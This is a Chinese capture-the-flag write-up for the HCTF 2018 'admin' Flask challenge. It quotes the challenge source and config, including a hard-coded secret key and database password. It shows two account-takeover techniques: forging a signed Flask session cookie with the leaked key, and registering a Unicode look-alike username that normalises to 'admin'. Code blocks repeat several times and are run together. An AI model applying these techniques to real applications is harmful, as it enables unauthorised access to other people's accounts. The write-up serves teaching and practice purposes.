首先爬一遍整个网站,发现有没注册的时候有“login
”,”register
“,
这两个页面,注册一个123用户登录后发现有 \"index“,”post“,”logout“
,”change password“
这四个界面,
根据题目提示的admin,猜测是不是要让我用admin来登录这个网站?
然后我在login界面输入用户名”admin
“,密码”123
“(弱口令)结果猝不及防
![图片[1]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226130302989.png?imageView2/0/format/webp/q/75)
喵喵喵???还没开始就结束了?
还是来具体解题方法:欺骗服务器,假装自己是admin
解法一:flask session伪造
在”change password”页面发现了提示
![图片[2]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210302669.png?imageView2/0/format/webp/q/75)
https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.pyhttps://github.com/woadsl1234/hctf_flask/blob/master/app/routes.pyhttps://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py
#!/usr/bin/env python# -*- coding:utf-8 -*-from flask import Flask, render_template, url_for, flash, request, redirect, session, make_responsefrom flask_login import logout_user, LoginManager, current_user, login_userfrom app import app, dbfrom config import Configfrom app.models import Userfrom forms import RegisterForm, LoginForm, NewpasswordFormfrom twisted.words.protocols.jabber.xmpp_stringprep import nodeprepfrom io import BytesIOfrom code import get_verify_code@app.route(\'/code\')def get_code():image, code = get_verify_code()# 图片以二进制形式写入buf = BytesIO()image.save(buf, \'jpeg\')buf_str = buf.getvalue()# 把buf_str作为response返回前端,并设置首部字段response = make_response(buf_str)response.headers[\'Content-Type\'] = \'image/gif\'# 将验证码字符串储存在session中session[\'image\'] = codereturn response@app.route(\'/\')@app.route(\'/index\')def index():return render_template(\'index.html\', title = \'hctf\')@app.route(\'/register\', methods = [\'GET\', \'POST\'])def register():if current_user.is_authenticated:return redirect(url_for(\'index\'))form = RegisterForm()if request.method == \'POST\':name = strlower(form.username.data)if session.get(\'image\').lower() != form.verify_code.data.lower():flash(\'Wrong verify code.\')return render_template(\'register.html\', title = \'register\', form=form)if User.query.filter_by(username = name).first():flash(\'The username has been registered\')return redirect(url_for(\'register\'))user = User(username=name)user.set_password(form.password.data)db.session.add(user)db.session.commit()flash(\'register successful\')return redirect(url_for(\'login\'))return render_template(\'register.html\', title = \'register\', form = form)@app.route(\'/login\', methods = [\'GET\', \'POST\'])def login():if current_user.is_authenticated:return redirect(url_for(\'index\'))form = LoginForm()if request.method == \'POST\':name = strlower(form.username.data)session[\'name\'] = nameuser = User.query.filter_by(username=name).first()if user is None or not user.check_password(form.password.data):flash(\'Invalid username or password\')return redirect(url_for(\'login\'))login_user(user, remember=form.remember_me.data)return redirect(url_for(\'index\'))return render_template(\'login.html\', title = \'login\', form = form)@app.route(\'/logout\')def logout():logout_user()return redirect(\'/index\')@app.route(\'/change\', methods = [\'GET\', \'POST\'])def change():if not current_user.is_authenticated:return redirect(url_for(\'login\'))form = NewpasswordForm()if request.method == \'POST\':name = strlower(session[\'name\'])user = User.query.filter_by(username=name).first()user.set_password(form.newpassword.data)db.session.commit()flash(\'change successful\')return redirect(url_for(\'index\'))return render_template(\'change.html\', title = \'change\', form = form)@app.route(\'/edit\', methods = [\'GET\', \'POST\'])def edit():if request.method == \'POST\':flash(\'post successful\')return redirect(url_for(\'index\'))return render_template(\'edit.html\', title = \'edit\')@app.errorhandler(404)def page_not_found(error):title = unicode(error)message = error.descriptionreturn render_template(\'errors.html\', title=title, message=message)def strlower(username):username = nodeprep.prepare(username)return username#!/usr/bin/env python # -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response from flask_login import logout_user, LoginManager, current_user, login_user from app import app, db from config import Config from app.models import User from forms import RegisterForm, LoginForm, NewpasswordForm from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep from io import BytesIO from code import get_verify_code @app.route(\'/code\') def get_code(): image, code = get_verify_code() # 图片以二进制形式写入 buf = BytesIO() image.save(buf, \'jpeg\') buf_str = buf.getvalue() # 把buf_str作为response返回前端,并设置首部字段 response = make_response(buf_str) response.headers[\'Content-Type\'] = \'image/gif\' # 将验证码字符串储存在session中 session[\'image\'] = code return response @app.route(\'/\') @app.route(\'/index\') def index(): return render_template(\'index.html\', title = \'hctf\') @app.route(\'/register\', methods = [\'GET\', \'POST\']) def register(): if current_user.is_authenticated: return redirect(url_for(\'index\')) form = RegisterForm() if request.method == \'POST\': name = strlower(form.username.data) if session.get(\'image\').lower() != form.verify_code.data.lower(): flash(\'Wrong verify code.\') return render_template(\'register.html\', title = \'register\', form=form) if User.query.filter_by(username = name).first(): flash(\'The username has been registered\') return redirect(url_for(\'register\')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash(\'register successful\') return redirect(url_for(\'login\')) return render_template(\'register.html\', title = \'register\', form = form) @app.route(\'/login\', methods = [\'GET\', \'POST\']) def login(): if current_user.is_authenticated: return redirect(url_for(\'index\')) form = LoginForm() if request.method == \'POST\': name = strlower(form.username.data) session[\'name\'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash(\'Invalid username or password\') return redirect(url_for(\'login\')) login_user(user, remember=form.remember_me.data) return redirect(url_for(\'index\')) return render_template(\'login.html\', title = \'login\', form = form) @app.route(\'/logout\') def logout(): logout_user() return redirect(\'/index\') @app.route(\'/change\', methods = [\'GET\', \'POST\']) def change(): if not current_user.is_authenticated: return redirect(url_for(\'login\')) form = NewpasswordForm() if request.method == \'POST\': name = strlower(session[\'name\']) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash(\'change successful\') return redirect(url_for(\'index\')) return render_template(\'change.html\', title = \'change\', form = form) @app.route(\'/edit\', methods = [\'GET\', \'POST\']) def edit(): if request.method == \'POST\': flash(\'post successful\') return redirect(url_for(\'index\')) return render_template(\'edit.html\', title = \'edit\') @app.errorhandler(404) def page_not_found(error): title = unicode(error) message = error.description return render_template(\'errors.html\', title=title, message=message) def strlower(username): username = nodeprep.prepare(username) return username#!/usr/bin/env python # -*- coding:utf-8 -*- from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response from flask_login import logout_user, LoginManager, current_user, login_user from app import app, db from config import Config from app.models import User from forms import RegisterForm, LoginForm, NewpasswordForm from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep from io import BytesIO from code import get_verify_code @app.route(\'/code\') def get_code(): image, code = get_verify_code() # 图片以二进制形式写入 buf = BytesIO() image.save(buf, \'jpeg\') buf_str = buf.getvalue() # 把buf_str作为response返回前端,并设置首部字段 response = make_response(buf_str) response.headers[\'Content-Type\'] = \'image/gif\' # 将验证码字符串储存在session中 session[\'image\'] = code return response @app.route(\'/\') @app.route(\'/index\') def index(): return render_template(\'index.html\', title = \'hctf\') @app.route(\'/register\', methods = [\'GET\', \'POST\']) def register(): if current_user.is_authenticated: return redirect(url_for(\'index\')) form = RegisterForm() if request.method == \'POST\': name = strlower(form.username.data) if session.get(\'image\').lower() != form.verify_code.data.lower(): flash(\'Wrong verify code.\') return render_template(\'register.html\', title = \'register\', form=form) if User.query.filter_by(username = name).first(): flash(\'The username has been registered\') return redirect(url_for(\'register\')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash(\'register successful\') return redirect(url_for(\'login\')) return render_template(\'register.html\', title = \'register\', form = form) @app.route(\'/login\', methods = [\'GET\', \'POST\']) def login(): if current_user.is_authenticated: return redirect(url_for(\'index\')) form = LoginForm() if request.method == \'POST\': name = strlower(form.username.data) session[\'name\'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash(\'Invalid username or password\') return redirect(url_for(\'login\')) login_user(user, remember=form.remember_me.data) return redirect(url_for(\'index\')) return render_template(\'login.html\', title = \'login\', form = form) @app.route(\'/logout\') def logout(): logout_user() return redirect(\'/index\') @app.route(\'/change\', methods = [\'GET\', \'POST\']) def change(): if not current_user.is_authenticated: return redirect(url_for(\'login\')) form = NewpasswordForm() if request.method == \'POST\': name = strlower(session[\'name\']) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash(\'change successful\') return redirect(url_for(\'index\')) return render_template(\'change.html\', title = \'change\', form = form) @app.route(\'/edit\', methods = [\'GET\', \'POST\']) def edit(): if request.method == \'POST\': flash(\'post successful\') return redirect(url_for(\'index\')) return render_template(\'edit.html\', title = \'edit\') @app.errorhandler(404) def page_not_found(error): title = unicode(error) message = error.description return render_template(\'errors.html\', title=title, message=message) def strlower(username): username = nodeprep.prepare(username) return username
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为:eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:
from itsdangerous import *s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"data,timestamp,secret = s.split(\'.\')int.from_bytes(base64_decode(timestamp),byteorder=\'big\')from itsdangerous import * s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\" data,timestamp,secret = s.split(\'.\') int.from_bytes(base64_decode(timestamp),byteorder=\'big\')from itsdangerous import * s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\" data,timestamp,secret = s.split(\'.\') int.from_bytes(base64_decode(timestamp),byteorder=\'big\')
from itsdangerous import *s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\"data,timestamp,secret = s.split(\'.\')print(\"data=\",data,\" ; timestamp = \",timestamp,\" ; secret = \",secret)print(base64_decode(data))print(base64_decode(timestamp))print(int.from_bytes(base64_decode(timestamp),byteorder=\'big\'))print(int.from_bytes(base64_decode(secret),byteorder=\'big\'))from itsdangerous import * s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\" data,timestamp,secret = s.split(\'.\') print(\"data=\",data,\" ; timestamp = \",timestamp,\" ; secret = \",secret) print(base64_decode(data)) print(base64_decode(timestamp)) print(int.from_bytes(base64_decode(timestamp),byteorder=\'big\')) print(int.from_bytes(base64_decode(secret),byteorder=\'big\'))from itsdangerous import * s = \"eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY\" data,timestamp,secret = s.split(\'.\') print(\"data=\",data,\" ; timestamp = \",timestamp,\" ; secret = \",secret) print(base64_decode(data)) print(base64_decode(timestamp)) print(int.from_bytes(base64_decode(timestamp),byteorder=\'big\')) print(int.from_bytes(base64_decode(secret),byteorder=\'big\'))
![图片[3]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210303564.png?imageView2/0/format/webp/q/75)
int.from_bytes函数功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。bytes是输入的变量; base64_decode(timestamp)=b\'\\\\\\r\\xda\\xe0\'signed=True表示需要考虑符号位。举例说明:int_s = int.from_bytes(s, byteorder=\'little\', signed=True),其中s=\'\\xf1\\xff\',则输出int_s=-15。分析一下过程,\'\\x\'表示十六进制数,先把\'f1\'写成二进制数:1111 0001,\'ff\'同上:1111 1111. #小端法由于s的高低位标志是\'little\',即\'f1\'是低位,\'ff\'是高位,所以正确的顺序应该是\'fff1\',即11111111 1111 0001.又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。上面的例子中,如果signed=False,则无符号位;若byteorder=\'big\',则输入s的左边是高位,右边是低位。 #大端法int.from_bytes函数 功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。 函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。 bytes是输入的变量; base64_decode(timestamp)=b\'\\\\\\r\\xda\\xe0\' signed=True表示需要考虑符号位。 举例说明:int_s = int.from_bytes(s, byteorder=\'little\', signed=True),其中s=\'\\xf1\\xff\',则输出int_s=-15。 分析一下过程,\'\\x\'表示十六进制数,先把\'f1\'写成二进制数:1111 0001,\'ff\'同上:1111 1111. #小端法 由于s的高低位标志是\'little\',即\'f1\'是低位,\'ff\'是高位,所以正确的顺序应该是\'fff1\',即11111111 1111 0001. 又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。 上面的例子中,如果signed=False,则无符号位; 若byteorder=\'big\',则输入s的左边是高位,右边是低位。 #大端法int.from_bytes函数 功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。 函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。 bytes是输入的变量; base64_decode(timestamp)=b\'\\\\\\r\\xda\\xe0\' signed=True表示需要考虑符号位。 举例说明:int_s = int.from_bytes(s, byteorder=\'little\', signed=True),其中s=\'\\xf1\\xff\',则输出int_s=-15。 分析一下过程,\'\\x\'表示十六进制数,先把\'f1\'写成二进制数:1111 0001,\'ff\'同上:1111 1111. #小端法 由于s的高低位标志是\'little\',即\'f1\'是低位,\'ff\'是高位,所以正确的顺序应该是\'fff1\',即11111111 1111 0001. 又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。 上面的例子中,如果signed=False,则无符号位; 若byteorder=\'big\',则输入s的左边是高位,右边是低位。 #大端法
这里我用的是python2的环境,kali自带的py2貌似默认安装了flask ,而自己安装py3的flask一直装不上Orz
python hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqycpython hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqycpython hctf_admin.py ..eJw9kEGLwjAUhP_KkrOHtrYXwYNSWxTeCy6p5eUirtamL8aFqrRG_O8bPOxtYJiPmXmJ_blvbkbM7v2jmYh9dxKzl_j6ETMhFQzIq0EqNMSF1XVhZPnN6DRL1abgFxmqpSWHHeTagKcpJdtI54sR6ipGt3PEFKGqYlLViLyx4KtUl4UFbp-oLjbkL5rbOOgOPaRQQ6yZEuLjE_2SoVwnWK8jcsHj1QgJjORNJ_PVFFxxQbdxMl_MxXsijrf-vL__2ub6P4H8NtM1TWVOqVQ7AwkNqLTFEjlUiKCEAbjyYZ5BDtVryLCdf3DXg2sC4nBy3VVMxOPW9J93RByJ9x_TGWWP.EJH3jQ.JhGCr-bcz5dzA0veCwseiH0eqyc
![图片[4]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/04/image-62-1024x503.png)
![图片[5]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210304648.png?imageView2/0/format/webp/q/75)
https://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyimport osclass Config(object):SECRET_KEY = os.environ.get(\'SECRET_KEY\') or \'ckj123\'SQLALCHEMY_DATABASE_URI = \'mysql+pymysql://root:adsl1234@db:3306/test\'SQLALCHEMY_TRACK_MODIFICATIONS = Truehttps://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi mport os class Config(object): SECRET_KEY = os.environ.get(\'SECRET_KEY\') or \'ckj123\' SQLALCHEMY_DATABASE_URI = \'mysql+pymysql://root:adsl1234@db:3306/test\' SQLALCHEMY_TRACK_MODIFICATIONS = Truehttps://github.com/woadsl1234/hctf_flask/blob/master/app/config.pyi mport os class Config(object): SECRET_KEY = os.environ.get(\'SECRET_KEY\') or \'ckj123\' SQLALCHEMY_DATABASE_URI = \'mysql+pymysql://root:adsl1234@db:3306/test\' SQLALCHEMY_TRACK_MODIFICATIONS = True
![图片[6]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210306184.png?imageView2/0/format/webp/q/75)
session加密用的是GitHub上的一个脚本,我按照官方给的方法装不上Orz,然后自己git clone了一下,git clone大法好啊
![图片[7]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210307689.png?imageView2/0/format/webp/q/75)
![图片[8]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210308970.png?imageView2/0/format/webp/q/75)
python2 ./flask_session_cookie_manager2.py encode -s \"ckj123\" -t \"{\'_fresh\': True, \'_id\': b\'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4\', \'csrf_token\': b\'d2495789467d55d9e38c2ffd63e9c578ee1b267a\', \'image\': b\'BUXE\', \'name\': \'admin\', \'user_id\': \'10\'}\"python2 ./flask_session_cookie_manager2.py encode -s \"ckj123\" -t \"{\'_fresh\': True, \'_id\': b\'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4\', \'csrf_token\': b\'d2495789467d55d9e38c2ffd63e9c578ee1b267a\', \'image\': b\'BUXE\', \'name\': \'admin\', \'user_id\': \'10\'}\"python2 ./flask_session_cookie_manager2.py encode -s \"ckj123\" -t \"{\'_fresh\': True, \'_id\': b\'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4\', \'csrf_token\': b\'d2495789467d55d9e38c2ffd63e9c578ee1b267a\', \'image\': b\'BUXE\', \'name\': \'admin\', \'user_id\': \'10\'}\"
![图片[9]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://www.anquanclub.cn/wp-content/uploads/2022/04/image-67-1024x132.png)
https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html{% include(\'header.html\') %}{% if current_user.is_authenticated %}<h1 class=\"nav\">Hello {{ session[\'name\'] }}</h1>{% endif %}{% if current_user.is_authenticated and session[\'name\'] == \'admin\' %}<h1 class=\"nav\">hctf{xxxxxxxxx}</h1>{% endif %}<!-- you are not admin --><h1 class=\"nav\">Welcome to hctf</h1>{% include(\'footer.html\') %}https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html {% include(\'header.html\') %} {% if current_user.is_authenticated %} <h1 class=\"nav\">Hello {{ session[\'name\'] }}</h1> {% endif %} {% if current_user.is_authenticated and session[\'name\'] == \'admin\' %} <h1 class=\"nav\">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class=\"nav\">Welcome to hctf</h1> {% include(\'footer.html\') %}https://github.com/woadsl1234/hctf_flask/blob/master/app/templates/index.html {% include(\'header.html\') %} {% if current_user.is_authenticated %} <h1 class=\"nav\">Hello {{ session[\'name\'] }}</h1> {% endif %} {% if current_user.is_authenticated and session[\'name\'] == \'admin\' %} <h1 class=\"nav\">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class=\"nav\">Welcome to hctf</h1> {% include(\'footer.html\') %}
解法二:Unicode欺骗
https://unicode-table.com/en/1D2E/
,在这个网站上找字符。
![图片[10]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210310576.png?imageView2/0/format/webp/q/75)
1.先注册一个账号 :ᴬᴰᴹᴵᴺ
,密码:456
![图片[11]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210311167.png?imageView2/0/format/webp/q/75)
2.修改密码:111,然后退出
![图片[12]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226210312474.png?imageView2/0/format/webp/q/75)
3.用账号”admin“,密码:111成功登录
![图片[1]-[HCTF 2018]admin – buu刷题笔记-安全小天地](https://img.godyu.com/2023/12/20231226130302989.png?imageView2/0/format/webp/q/75)
大致的思路是:
- 在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ ,
- 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ ,
- 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,
- 而且在index.html中可以看到只要session[‘name’]==’admin’,
- 也就是只要用户名是’admin‘就可成功登录了)
所以flag为flag{ef16ac93-e900-4a1e-b877-79dfb69cd064}
暂无评论内容